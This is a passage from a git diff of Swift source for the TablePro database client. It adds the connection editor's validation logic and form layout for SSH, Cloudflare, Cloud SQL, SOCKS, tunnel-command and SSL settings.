edits.binaryInlineLimitKilobytes = nil + edits.queryTimeoutSeconds = nil + edits.additionalFields[ConnectionEnvironment.fieldKey] = nil + let secretIds = secretFieldIds(traits, originalTraits: originalTraits) + let pluginSecrets = draft.fieldValues + .filter { secretIds.contains($0.key) } + .sorted { $0.key < $1.key } + .map { "\($0.key)=\($0.value)" } + let secrets = [ + draft.credentials.password, + draft.ssh.password, + draft.ssh.keyPassphrase, + draft.ssh.totpSecret, + draft.ssl.clientKeyPassphrase, + draft.cloudflare.serviceTokenId, + draft.cloudflare.serviceTokenSecret, + draft.cloudSQLProxy.serviceAccountKeyJSON, + draft.socksProxy.password + ] + pluginSecrets + return TestFingerprint(edits: edits, secrets: secrets, endpoint: draft.endpoint) + } + + // A test record carries what the saved one would, under a throwaway id. + static func record(_ connection: DatabaseConnection, reassignedTo id: UUID) -> DatabaseConnection { + var copy = DatabaseConnection( + id: id, + name: connection.name, + host: connection.host, + port: connection.port, + database: connection.database, + username: connection.username, + type: connection.type, + sshConfig: connection.sshConfig, + sslConfig: connection.sslConfig, + color: connection.color, + iconName: connection.iconName, + tagIds: connection.tagIds, + groupId: connection.groupId, + sshProfileId: connection.sshProfileId, + sshTunnelMode: connection.sshTunnelMode, + credentialMode: connection.credentialMode, + cloudflareTunnelMode: connection.cloudflareTunnelMode, + cloudSQLProxyMode: connection.cloudSQLProxyMode, + socksProxyMode: connection.socksProxyMode, + tunnelCommandMode: connection.tunnelCommandMode, + safeModeLevel: connection.preferredSafeModeLevel, + aiPolicy: connection.aiPolicy, + aiRules: connection.aiRules, + aiAlwaysAllowedTools: connection.aiAlwaysAllowedTools, + externalAccess: connection.externalAccess, + redisDatabase: connection.redisDatabase, + startupCommands: connection.startupCommands, + sortOrder: connection.sortOrder, + localOnly: connection.localOnly, + isSample: connection.isSample, + isFavorite: connection.isFavorite, + passwordSource: connection.passwordSource, + additionalFields: connection.additionalFields + ) + copy.sshRoute = connection.sshRoute + copy.origin = connection.origin + return copy + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift new file mode 100644 index 0000000000..f0f609c2c3 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Issues.swift @@ -0,0 +1,377 @@ +// +// ConnectionEditorEngine+Issues.swift +// TablePro +// + +import Foundation +import TableProConnectionLibrary +import TableProPluginKit +import TableProSSHConfig + +extension ConnectionEditorEngine { + private struct PendingIssue { + let row: EditorRow + let message: String + var severity: FieldIssue.Severity = .error + var fallbackRow: EditorRow? + } + + // Every issue names a row the layout shows enabled; one whose row is hidden or disabled moves to its fallback or is + // dropped. + static func issues( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + _ context: EditorContext, + layout: EditorLayout? = nil + ) -> [FieldIssue] { + let layout = layout ?? self.layout(draft, traits, context) + var pending: [PendingIssue] = [] + pending += generalIssues(draft, traits, context, layout: layout) + pending += transportIssues(draft, traits, context) + pending += sslIssues(draft, traits) + pending += optionIssues(draft, traits, layout: layout) + + var issues: [FieldIssue] = [] + for item in pending { + let row = layout.isEnabled(item.row) ? item.row : item.fallbackRow + guard let row, layout.isEnabled(row), let facet = layout.facet(containing: row) else { continue } + let issue = FieldIssue(facet: facet, row: row, message: item.message, severity: item.severity) + if !issues.contains(issue) { + issues.append(issue) + } + } + return issues + } + + // MARK: - General + + private static func generalIssues( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + _ context: EditorContext, + layout: EditorLayout + ) -> [PendingIssue] { + var pending: [PendingIssue] = [] + if draft.database.trimmingCharacters(in: .whitespaces).isEmpty { + switch traits.connectionMode { + case .fileBased: + pending.append(PendingIssue(row: .builtIn(.databaseFile), message: String(localized: "Choose a database file."))) + case .apiOnly where traits.showsBuiltInDatabaseField: + pending.append(PendingIssue(row: .builtIn(.database), message: String(localized: "Enter a database name."))) + default: + break + } + } + if let issue = portIssue(draft.portText) { + pending.append(PendingIssue(row: .builtIn(.port), message: issue)) + } + pending += pluginFieldIssues(draft, traits, context, layout: layout) + pending += hostListIssues(draft, traits) + if usesLocalSocket(draft, traits) { + if let endpoint = localSocketEndpoint(draft, traits) { + if let issue = endpoint.issue { + pending.append(PendingIssue(row: .builtIn(.localSocketPath), message: issue)) + } + } else { + pending.append(PendingIssue( + row: .builtIn(.localSocketPath), + message: String(format: String(localized: "%@ is required"), String(localized: "Socket")) + )) + } + } + if credentialProfileIsMissing(draft, context), !context.credentialProfilesLoadFailed { + pending.append(PendingIssue( + row: .builtIn(.credentialProfile), + message: String(localized: "This profile isn't on this Mac."), + severity: .warning + )) + } + return pending + } + + // A linked profile supplies its own secure fields at connect, so an empty copy here blocks nothing. + private static func pluginFieldIssues( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + _ context: EditorContext, + layout: EditorLayout + ) -> [PendingIssue] { + let suppliedByProfile = Set(context.credentialProfile(draft.credentials.mode.profileId)?.secureFieldIds ?? []) + var pending: [PendingIssue] = [] + for field in traits.fields where layout.contains(.plugin(fieldID: field.id)) { + let row = EditorRow.plugin(fieldID: field.id) + switch field.content { + case .plain: + let value = value(of: field, in: draft) + if field.isRequired, !suppliedByProfile.contains(field.id), + value.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue(row: row, message: String(format: String(localized: "%@ is required"), field.label))) + } + if let rangeIssue = field.rangeIssue(in: draft.fieldValues[field.id] ?? "") { + pending.append(PendingIssue(row: row, message: rangeIssue)) + } else if field.id == traits.serverEndpointFields?.portFieldId, + let portIssue = portIssue(draft.fieldValues[field.id] ?? "") { + pending.append(PendingIssue(row: row, message: portIssue)) + } + case .loadableExtensions: + let extensions = (try? LoadableExtensionList.decode(draft.fieldValues[field.id])) ?? [] + do { + try LoadableExtensionPreflight.validate(extensions) + } catch let error as LoadableExtensionError { + pending.append(PendingIssue(row: row, message: error.failureReason ?? error.localizedDescription)) + } catch { + pending.append(PendingIssue(row: row, message: error.localizedDescription)) + } + case .attachedDatabases: + do { + try AttachedDatabaseList.validate(AttachedDatabaseList.decode(draft.fieldValues[field.id])) + } catch let error as AttachedDatabaseError { + pending.append(PendingIssue(row: row, message: error.failureReason ?? error.localizedDescription)) + } catch { + pending.append(PendingIssue(row: row, message: error.localizedDescription)) + } + @unknown default: + break + } + } + return pending + } + + // A pasted https:// node is stored as host:port, and SSL Mode picks the scheme, so Disabled sends it over plain HTTP. + private static func hostListIssues(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> [PendingIssue] { + guard let hostList = traits.fields.endpointHostList else { return [] } + let row = EditorRow.plugin(fieldID: hostList.id) + let entries = (draft.fieldValues[hostList.id] ?? "") + .split(separator: ",") + .map { $0.trimmingCharacters(in: .whitespaces) } + .filter { !$0.isEmpty } + var pending = entries + .filter { HostListEndpoint.parse($0, defaultPort: traits.defaultPort) == nil } + .map { PendingIssue(row: row, message: String(format: String(localized: "“%@” is not a host or host:port"), $0)) } + if traits.supportsSSL, draft.ssl.mode == .disabled, let secure = entries.first(where: HostListEndpoint.usesHTTPS) { + pending.append(PendingIssue( + row: .builtIn(.sslMode), + message: String(format: String(localized: "%@ needs an SSL Mode other than Disabled"), secure), + fallbackRow: row + )) + } + return pending + } + + // MARK: - Transports + + private static func transportIssues( + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits, + _ context: EditorContext + ) -> [PendingIssue] { + switch draft.transport { + case .ssh, .remoteFile: + return sshIssues(draft, context) + case .cloudflare: + return cloudflareIssues(draft.cloudflare) + case .cloudSQLProxy: + return cloudSQLIssues(draft.cloudSQLProxy) + case .socksProxy: + var pending: [PendingIssue] = [] + if draft.socksProxy.host.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue(row: .builtIn(.socksHost), message: String(localized: "Enter the proxy host."))) + } + if parsePort(draft.socksProxy.port) == nil { + pending.append(PendingIssue( + row: .builtIn(.socksPort), + message: portRangeMessage + )) + } + return pending + case .tunnelCommand: + let row: BuiltInRow + switch draft.tunnelCommand.config.method { + case .kubectl: row = .kubernetesResource + case .awsSSM: row = .awsTarget + case .custom: row = .tunnelCommand + } + return TunnelCommandBuilder.validationIssues(for: draft.tunnelCommand.trimmedConfiguration) + .map { PendingIssue(row: .builtIn(row), message: $0) } + case .remoteDatabaseSession, nil: + return [] + } + } + + private static func sshIssues(_ draft: ConnectionDraft, _ context: EditorContext) -> [PendingIssue] { + var pending: [PendingIssue] = [] + let resolution = sshResolution(draft, context) + switch resolution { + case .inline: + if draft.ssh.host.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue( + row: .builtIn(.sshHost), + message: String(localized: "Enter an SSH host."), + fallbackRow: .builtIn(.sshConfigHost) + )) + } + if let issue = portIssue(draft.ssh.port) { + pending.append(PendingIssue(row: .builtIn(.sshPort), message: issue)) + } + for (index, jumpHost) in draft.ssh.jumpHosts.enumerated() { + let number = Int64(index + 1) + let message: String + if jumpHost.host.isEmpty { + message = String(format: String(localized: "Enter the address of jump host %lld."), number) + } else if !jumpHost.isValid { + message = String(format: String(localized: "Choose a key file for jump host %lld."), number) + } else if let port = jumpHost.port, !portRange.contains(port) { + message = portRangeMessage + } else { + continue + } + pending.append(PendingIssue(row: .builtIn(.jumpHost(jumpHost.id)), message: message)) + } + case .unresolvedProfile: + if !context.sshProfilesLoadFailed { + pending.append(PendingIssue( + row: .builtIn(.sshProfileMissing), + message: String(localized: "The SSH profile this connection uses isn't on this Mac."), + severity: .warning + )) + } + case .profile, .disabled: + break + } + guard draft.transport == .remoteFile else { return pending } + if draft.ssh.profileId != nil { + let host: String + switch resolution { + case .profile(let profile): host = profile.host + case .unresolvedProfile(_, let snapshot): host = snapshot.host + case .inline, .disabled: host = draft.ssh.host + } + if host.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue(row: .builtIn(.sshProfile), message: String(localized: "Enter an SSH host."))) + } + } + if draft.ssh.remoteFilePath.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue( + row: .builtIn(.remoteFilePath), + message: String(localized: "Enter the file's path on the server.") + )) + } + return pending + } + + private static func cloudflareIssues(_ cloudflare: CloudflareDraft) -> [PendingIssue] { + var pending: [PendingIssue] = [] + if cloudflare.accessHostname.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue(row: .builtIn(.cloudflareHostname), message: String(localized: "Enter the Access hostname."))) + } + if !cloudflare.automaticPort, parsePort(cloudflare.localPort) == nil { + pending.append(PendingIssue( + row: .builtIn(.cloudflareLocalPort), + message: portRangeMessage + )) + } + if cloudflare.authMethod == .serviceToken, + cloudflare.serviceTokenId.trimmingCharacters(in: .whitespaces).isEmpty + || cloudflare.serviceTokenSecret.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue( + row: .builtIn(.cloudflareTokenId), + message: String(localized: "Enter the client ID and secret.") + )) + } + return pending + } + + private static func cloudSQLIssues(_ proxy: CloudSQLProxyDraft) -> [PendingIssue] { + var pending: [PendingIssue] = [] + if !proxy.configuration.isValid { + pending.append(PendingIssue( + row: .builtIn(.cloudSQLInstance), + message: String(localized: "Enter it as project:region:instance.") + )) + } + if !proxy.automaticPort, parsePort(proxy.localPort) == nil { + pending.append(PendingIssue( + row: .builtIn(.cloudSQLLocalPort), + message: portRangeMessage + )) + } + if proxy.authMode == .serviceAccountKey, !proxy.hasServiceAccountKey { + pending.append(PendingIssue( + row: .builtIn(.cloudSQLServiceAccountKey), + message: String(localized: "Add a service account key.") + )) + } + return pending + } + + // MARK: - SSL + + private static func sslIssues(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> [PendingIssue] { + guard showsSSL(draft, traits) else { return [] } + var pending: [PendingIssue] = [] + let mode = draft.ssl.mode + if !offeredSSLModes(draft, traits).contains(mode) { + let message = traits.ssl.supportedModes.contains(mode) + ? String(format: String(localized: "%@ doesn't work through a tunnel."), mode.displayLabel) + : String(format: String(localized: "This driver doesn't support %@."), mode.displayLabel) + pending.append(PendingIssue(row: .builtIn(.sslMode), message: message)) + } + guard traits.ssl.supportsPerConnectionCertificatePaths else { return pending } + if traits.ssl.requiresCACertificate(for: mode), draft.ssl.caCertPath.trimmingCharacters(in: .whitespaces).isEmpty { + pending.append(PendingIssue( + row: .builtIn(.sslCACertificate), + message: String(localized: "Choose a CA certificate.") + )) + } + let hasClientCert = !draft.ssl.clientCertPath.trimmingCharacters(in: .whitespaces).isEmpty + let hasClientKey = !draft.ssl.clientKeyPath.trimmingCharacters(in: .whitespaces).isEmpty + if hasClientCert, !hasClientKey { + pending.append(PendingIssue( + row: .builtIn(.sslClientKey), + message: String(localized: "Choose the client key.") + )) + } + return pending + } + + // MARK: - Options + + private static func secondsRangeMessage(_ range: ClosedRange) -> String { + String(format: String(localized: "Enter %1$@ to %2$@ seconds."), range.lowerBound.formatted(), range.upperBound.formatted()) + } + + private static func optionIssues(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, layout: EditorLayout) -> [PendingIssue] { + var pending: [PendingIssue] = [] + let options = draft.options + if let seconds = options.connectTimeoutSeconds, !DatabaseConnection.connectTimeoutSecondsRange.contains(seconds) { + pending.append(PendingIssue( + row: .builtIn(.connectTimeout), + message: secondsRangeMessage(DatabaseConnection.connectTimeoutSecondsRange) + )) + } + if let seconds = options.queryTimeoutSeconds, !DatabaseConnection.queryTimeoutSecondsRange.contains(seconds) { + pending.append(PendingIssue( + row: .builtIn(.queryTimeout), + message: secondsRangeMessage(DatabaseConnection.queryTimeoutSecondsRange) + )) + } + if let kilobytes = options.binaryInlineLimitKilobytes, + !DatabaseConnection.binaryInlineLimitKilobytesRange.contains(kilobytes) { + pending.append(PendingIssue( + row: .builtIn(.binaryInlineLimit), + message: String( + format: String(localized: "Enter %1$@ to %2$@ KB."), + DatabaseConnection.binaryInlineLimitKilobytesRange.lowerBound.formatted(), + DatabaseConnection.binaryInlineLimitKilobytesRange.upperBound.formatted() + ) + )) + } + if let seconds = options.scriptTimeoutSeconds, !ConnectionScriptRunner.timeoutSecondsRange.contains(seconds) { + pending.append(PendingIssue( + row: .builtIn(.scriptTimeout), + message: secondsRangeMessage(ConnectionScriptRunner.timeoutSecondsRange) + )) + } + return pending + } +} diff --git a/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift new file mode 100644 index 0000000000..32c5eac9b4 --- /dev/null +++ b/apple/TablePro/Views/ConnectionForm/Engine/ConnectionEditorEngine+Layout.swift @@ -0,0 +1,640 @@ +// +// ConnectionEditorEngine+Layout.swift +// TablePro +// + +import Foundation +import TableProPluginKit +import TableProSSHConfig +import TableProSSHTransport + +extension ConnectionEditorEngine { + static func layout(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> EditorLayout { + var facets = [generalFacet(draft, traits, context)] + if availableTransports(draft, traits).count > 1 { + facets.append(transportFacet(draft, traits, context)) + } + if showsSSL(draft, traits) { + facets.append(sslFacet(draft, traits)) + } + facets.append(appearanceFacet()) + facets.append(safeModeFacet(draft, traits, context)) + facets.append(aiFacet(draft, context)) + facets.append(startupFacet()) + facets.append(advancedFacet(draft, traits, context)) + return EditorLayout(facets: facets, disabledRows: unusedRows(draft, traits)) + } + + private static func unusedRows(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Set { + var rows: Set = [] + if forwardsToUnixSocket(draft) { + rows.formUnion([.builtIn(.host), .builtIn(.port)]) + } + // Remote File swaps the local path for its own copy or session at connect. + if draft.transport == .remoteFile { + if case .additionalField(let fieldId) = traits.localFilePathField { + rows.insert(.plugin(fieldID: fieldId)) + } else { + rows.insert(.builtIn(.databaseFile)) + } + } + return rows + } + + private static func pluginRows( + _ fields: [ConnectionField], + _ draft: ConnectionDraft, + _ traits: ConnectionTypeTraits + ) -> [EditorRow] { + fields.filter { isVisible($0, draft, traits) }.map { .plugin(fieldID: $0.id) } + } + + private static func isHostList(_ field: ConnectionField) -> Bool { + if case .hostList = field.fieldType { return true } + return false + } + + // MARK: - General + + private static func generalFacet(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> FacetLayout { + var sections = [ + SectionLayout( + id: "identity", + title: nil, + footer: nil, + rows: [.builtIn(.name), .builtIn(.type), .builtIn(.environment)] + ) + ] + if let connection = connectionSection(draft, traits) { + sections.append(connection) + } + if let authentication = authenticationSection(draft, traits) { + sections.append(authentication) + } + return FacetLayout(facet: .general, title: ConnectionFacet.general.title, sections: sections) + } + + private static func connectionSection(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> SectionLayout? { + let connectionFields = traits.fields.filter { $0.section == .connection } + switch traits.connectionMode { + case .fileBased: + return SectionLayout( + id: "connection", + title: String(localized: "Database File"), + footer: draft.transport == .remoteFile + ? String(localized: "File Path is unused. The connection opens the file on the SSH server chosen in Location.") + : nil, + rows: [.builtIn(.databaseFile)] + pluginRows(connectionFields, draft, traits) + ) + case .apiOnly: + var rows = pluginRows(connectionFields, draft, traits) + if traits.showsBuiltInDatabaseField { + rows.append(.builtIn(.database)) + } + guard !rows.isEmpty else { return nil } + return SectionLayout(id: "connection", title: String(localized: "Connection"), footer: nil, rows: rows) + default: + var rows: [EditorRow] = [] + if traits.supportsLocalSocket { + rows.append(.builtIn(.endpointKind)) + } + if usesLocalSocket(draft, traits) { + rows.append(.builtIn(.localSocketPath)) + if traits.localSocketIsDirectory { + rows.append(.builtIn(.port)) + } + } else { + let hostLists = visibleHostListFields(draft, traits) + if hostLists.isEmpty { + rows += [.builtIn(.host), .builtIn(.port)] + if showsPortTLSNotice(draft, traits) { + rows.append(.builtIn(.portTLSNotice)) + } + } else { + rows += hostLists.map { .plugin(fieldID: $0.id) } + } + rows += pluginRows(connectionFields.filter { !isHostList($0) }, draft, traits) + } + if traits.showsBuiltInDatabaseField { + rows.append(.builtIn(.database)) + } + var footer: String? + if !usesLocalSocket(draft, traits), forwardsToUnixSocket(draft) { + footer = String(localized: "Host and Port are unused. The SSH tunnel forwards to the socket path set in SSH & Proxies.") + } + return SectionLayout(id: "connection", title: String(localized: "Connection"), footer: footer, rows: rows) + } + } + + static func showsPortTLSNotice(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + guard traits.supportsSSL, let implied = traits.ssl.impliedMode(forPort: resolvedPort(draft, traits)) else { + return false + } + return draft.ssl.mode == implied || draft.ssl.mode == .disabled + } + + private static func authenticationSection(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> SectionLayout? { + let authFields = traits.fields.filter { $0.section == .authentication } + // A file has no sign-in, so a file type shows only what its plugin declares. + guard traits.connectionMode != .fileBased else { + let rows = pluginRows(authFields, draft, traits) + guard !rows.isEmpty else { return nil } + return SectionLayout(id: "authentication", title: String(localized: "Authentication"), footer: nil, rows: rows) + } + let split = authFields.splitCredentialControllers() + guard !draft.credentials.usesProfile else { + let rows: [EditorRow] = [.builtIn(.credentialProfile)] + pluginRows(split.rest, draft, traits) + return SectionLayout(id: "authentication", title: String(localized: "Authentication"), footer: nil, rows: rows) + } + // Method, Credentials, Username, Password, then a switch that only stands in for the password (~/.pgpass): + // the method decides what the rows under it are, so it leads, and the switch sits after what it replaces. + let methods = (split.usernameControllers + split.passwordControllers).filter(isMethodPicker) + var rows: [EditorRow] = pluginRows(methods, draft, traits) + [.builtIn(.credentialProfile)] + rows += pluginRows(split.usernameControllers.filter { !isMethodPicker($0) }, draft, traits) + if traits.connectionMode == .network, !hidesUsername(draft, traits) { + rows.append(.builtIn(.username)) + } + if !hidesPassword(draft, traits) { + if draft.credentials.passwordSource != nil { + if !draft.credentials.promptsForPassword { + rows.append(.builtIn(.passwordSource)) + } + rows.append(.builtIn(.passwordMode)) + } else { + rows.append(.builtIn(.passwordMode)) + if !draft.credentials.promptsForPassword { + rows.append(.builtIn(.password)) + } + } + } + rows += pluginRows(split.rest, draft, traits) + if showsKerberosNote(draft, traits) { + rows.append(.builtIn(.kerberosNote)) + } + rows += pluginRows(split.passwordControllers.filter { !isMethodPicker($0) }, draft, traits) + if usesPgpass(draft, traits) { + rows.append(.builtIn(.pgpassStatus)) + } + return SectionLayout(id: "authentication", title: String(localized: "Authentication"), footer: nil, rows: rows) + } + + private static func isMethodPicker(_ field: ConnectionField) -> Bool { + if case .dropdown = field.fieldType { return true } + return false + } + + static let pgpassFieldId = "usePgpass" + + static func usesPgpass(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.field(pgpassFieldId) != nil && draft.fieldValues[pgpassFieldId] == "true" + } + + static func usesWindowsAuthentication(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + traits.pluginTypeId == "SQL Server" && draft.fieldValues["mssqlAuthMethod"] == "windows" + } + + static func showsKerberosNote(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> Bool { + usesWindowsAuthentication(draft, traits) || KerberosAuthFields.isSelected(in: draft.fieldValues) + } + + // MARK: - SSH and proxies + + private static func transportFacet(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits, _ context: EditorContext) -> FacetLayout { + var sections = [ + SectionLayout( + id: "transport", + title: nil, + footer: transportSummary(draft, traits), + rows: [.builtIn(.transport)] + ) + ] + switch draft.transport { + case .ssh: + sections += sshServerSections(draft, context) + if traits.socketForwardApplies { + sections.append(SectionLayout( + id: "forwardTo", + title: String(localized: "Forward To"), + footer: nil, + rows: [.builtIn(.sshForwardSocketPath)] + )) + } + case .remoteFile: + var rows: [EditorRow] = [.builtIn(.remoteFilePath)] + if traits.supportsRemoteDatabaseSession { + rows.append(.builtIn(.remoteFileAccess)) + } + sections.append(SectionLayout(id: "remoteFile", title: String(localized: "Remote File"), footer: nil, rows: rows)) + sections += sshServerSections(draft, context) + case .cloudflare: + sections += cloudflareSections(draft) + case .cloudSQLProxy: + sections += cloudSQLSections(draft) + case .socksProxy: + sections += [ + SectionLayout( + id: "socksServer", + title: String(localized: "Proxy Server"), + footer: nil, + rows: [.builtIn(.socksHost), .builtIn(.socksPort)] + ), + SectionLayout( + id: "socksCredentials", + title: String(localized: "Credentials"), + footer: nil, + rows: [.builtIn(.socksUsername), .builtIn(.socksPassword)] + ) + ] + case .tunnelCommand: + sections += tunnelCommandSections(draft) + case .remoteDatabaseSession, nil: + break + } + let title = traits.supportsRemoteDatabaseFile ? String(localized: "Location") : ConnectionFacet.sshAndProxies.title + return FacetLayout(facet: .sshAndProxies, title: title, sections: sections) + } + + static func transportSummary(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> String { + if draft.transport == .remoteFile, traits.supportsRemoteDatabaseSession, draft.ssh.remoteFileAccess == .onServer { + return ConnectionTunnelKind.remoteDatabaseSession.summary + } + if let transport = draft.transport { + return transport.summary + } + return ConnectionTunnelKind.directSummary( + isFileBased: traits.connectionMode == .fileBased, + usesLocalSocket: usesLocalSocket(draft, traits), + localSocketSkipsTLS: localSocketSkipsTLS(draft, traits) + ) + } + + private static func sshServerSections(_ draft: ConnectionDraft, _ context: EditorContext) -> [SectionLayout] { + var profileRows: [EditorRow] = [.builtIn(.sshProfile)] + if sshProfileIsUnresolved(draft, context) { + profileRows.append(.builtIn(.sshProfileMissing)) + } + var sections = [SectionLayout(id: "sshProfile", title: String(localized: "Profile"), footer: nil, rows: profileRows)] + guard draft.ssh.profileId == nil else { return sections } + + var serverRows: [EditorRow] = [] + if !context.sshConfigEntries.isEmpty { + serverRows.append(.builtIn(.sshConfigHost)) + } + if draft.ssh.selectedConfigHost.isEmpty { + serverRows.append(.builtIn(.sshHost)) + } + serverRows += [.builtIn(.sshPort), .builtIn(.sshUsername)] + sections.append(SectionLayout(id: "sshServer", title: String(localized: "Server"), footer: nil, rows: serverRows)) + + var authRows: [EditorRow] = [.builtIn(.sshAuthMethod)] + switch draft.ssh.authMethod { + case .password, .keyboardInteractive: + authRows.append(.builtIn(.sshPassword)) + case .sshAgent: + authRows += [.builtIn(.sshAgentSocket), .builtIn(.sshIdentityFile)] + case .privateKey: + authRows += [.builtIn(.sshKeyFile), .builtIn(.sshKeyPassphrase)] + case .none: + authRows.append(.builtIn(.sshNoAuthenticationNote)) + } + sections.append(SectionLayout(id: "sshAuthentication", title: String(localized: "Authentication"), footer: nil, rows: authRows)) + + if draft.ssh.authMethod.supportsTwoFactorAuthentication { + var totpRows: [EditorRow] = [.builtIn(.sshTOTPMode)] + if draft.ssh.totpMode == .autoGenerate { + totpRows += [.builtIn(.sshTOTPSecret), .builtIn(.sshTOTPAlgorithm), .builtIn(.sshTOTPDigits), .builtIn(.sshTOTPPeriod)] + } + sections.append(SectionLayout( + id: "sshTwoFactor", + title: String(localized: "Two-Factor Authentication"), + footer: nil, + rows: totpRows + )) + } + + let jumpRows = draft.ssh.jumpHosts.map { EditorRow.builtIn(.jumpHost($0.id)) } + [.builtIn(.addJumpHost)] + sections.append(SectionLayout(id: "sshJumpHosts", title: String(localized: "Jump Hosts"), footer: nil, rows: jumpRows)) + return sections + } + + private static func cloudflareSections(_ draft: ConnectionDraft) -> [SectionLayout] { + var authRows: [EditorRow] = [.builtIn(.cloudflareAuthMethod)] + switch draft.cloudflare.authMethod { + case .browserSSO: + authRows.append(.builtIn(.cloudflareSignIn)) + case .serviceToken: + authRows += [.builtIn(.cloudflareTokenId), .builtIn(.cloudflareTokenSecret)] + } + var listenerRows: [EditorRow] = [.builtIn(.cloudflareAutomaticPort)] + if !draft.cloudflare.automaticPort { + listenerRows.append(.builtIn(.cloudflareLocalPort)) + } + listenerRows.append(.builtIn(.cloudflareExposeToLAN)) + return [ + SectionLayout( + id: "cloudflareApplication", + title: String(localized: "Access Application"), + footer: nil, + rows: [.builtIn(.cloudflareHostname)] + ), + SectionLayout(id: "cloudflareAuthentication", title: String(localized: "Authentication"), footer: nil, rows: authRows), + SectionLayout(id: "cloudflareListener", title: String(localized: "Local Listener"), footer: nil, rows: listenerRows), + SectionLayout(id: "cloudflareBinary", title: "cloudflared", footer: nil, rows: [.builtIn(.cloudflareBinary)]) + ] + } + + private static func cloudSQLSections(_ draft: ConnectionDraft) -> [SectionLayout] { + var authRows: [EditorRow] = [.builtIn(.cloudSQLAuthMode)] + if draft.cloudSQLProxy.authMode == .serviceAccountKey { + authRows.append(.builtIn(.cloudSQLServiceAccountKey)) + } + authRows += [.builtIn(.cloudSQLIAMAuth), .builtIn(.cloudSQLPrivateIP)] + var listenerRows: [EditorRow] = [.builtIn(.cloudSQLAutomaticPort)] + if !draft.cloudSQLProxy.automaticPort { + listenerRows.append(.builtIn(.cloudSQLLocalPort)) + } + return [ + SectionLayout( + id: "cloudSQLInstance", + title: String(localized: "Cloud SQL Instance"), + footer: nil, + rows: [.builtIn(.cloudSQLInstance)] + ), + SectionLayout(id: "cloudSQLAuthentication", title: String(localized: "Authentication"), footer: nil, rows: authRows), + SectionLayout(id: "cloudSQLListener", title: String(localized: "Local Listener"), footer: nil, rows: listenerRows), + SectionLayout(id: "cloudSQLBinary", title: "cloud-sql-proxy", footer: nil, rows: [.builtIn(.cloudSQLBinary)]) + ] + } + + private static func tunnelCommandSections(_ draft: ConnectionDraft) -> [SectionLayout] { + var sections = [ + SectionLayout(id: "tunnelMethod", title: String(localized: "Method"), footer: nil, rows: [.builtIn(.tunnelCommandMethod)]) + ] + switch draft.tunnelCommand.config.method { + case .kubectl: + sections.append(SectionLayout( + id: "tunnelKubernetes", + title: String(localized: "Kubernetes"), + footer: nil, + rows: [.builtIn(.kubernetesResource), .builtIn(.kubernetesNamespace), .builtIn(.kubernetesContext)] + )) + sections.append(executableSection()) + case .awsSSM: + sections.append(SectionLayout( + id: "tunnelAWS", + title: String(localized: "AWS Systems Manager"), + footer: nil, + rows: [.builtIn(.awsTarget), .builtIn(.awsProfile), .builtIn(.awsRegion)] + )) + sections.append(executableSection()) + case .custom: + sections.append(SectionLayout( + id: "tunnelCustom", + title: String(localized: "Command"), + footer: nil, + rows: [.builtIn(.tunnelCommand)] + )) + } + sections.append(SectionLayout( + id: "tunnelPreview", + title: String(localized: "Will Run"), + footer: nil, + rows: [.builtIn(.tunnelCommandPreview)] + )) + return sections + } + + private static func executableSection() -> SectionLayout { + SectionLayout( + id: "tunnelExecutable", + title: nil, + footer: String(localized: """ + Leave blank to find it on your PATH. Apps launched from the Dock do not inherit \ + your shell's PATH, so a tool installed somewhere unusual needs its full path here. + """), + rows: [.builtIn(.tunnelCommandExecutable)] + ) + } + + // MARK: - SSL + + private static func sslFacet(_ draft: ConnectionDraft, _ traits: ConnectionTypeTraits) -> FacetLayout { + let mode = draft.ssl.mode + var modeRows: [EditorRow] = [.builtIn(.sslMode)] + if mode == .preferred, !traits.ssl.supportsOpportunisticTLS { + modeRows.append(.builtIn(.sslNoFallbackNotice)) + } + var footerLines: [String] = [] + if !traits.ssl.note.isEmpty { + footerLines.append(traits.ssl.note) + } + if mode != .disabled { + footerLines.append(mode.description) + } + if usesLocalSocket(draft, traits), mode == .preferred { + footerLines.append(String(localized: "Preferred leaves a socket connection unencrypted. Required encrypts it.")) + } + var sections = [ + SectionLayout( + id: "sslMode", + title: nil, + footer: footerLines.isEmpty ? nil : footerLines.joined(separator: "\n"), + rows: modeRows + ) + ] + guard mode != .disabled else { + return FacetLayout(facet: .sslTLS, title: ConnectionFacet.sslTLS.title, sections: sections) + } + guard traits.ssl.supportsPerConnectionCertificatePaths else { + sections.append(SectionLayout( + id: "sslTrust", + title: String(localized: "Certificate Trust"), + footer: nil, + rows: [.builtIn(.sslCertificateTrustNote)] + )) + return FacetLayout(facet: 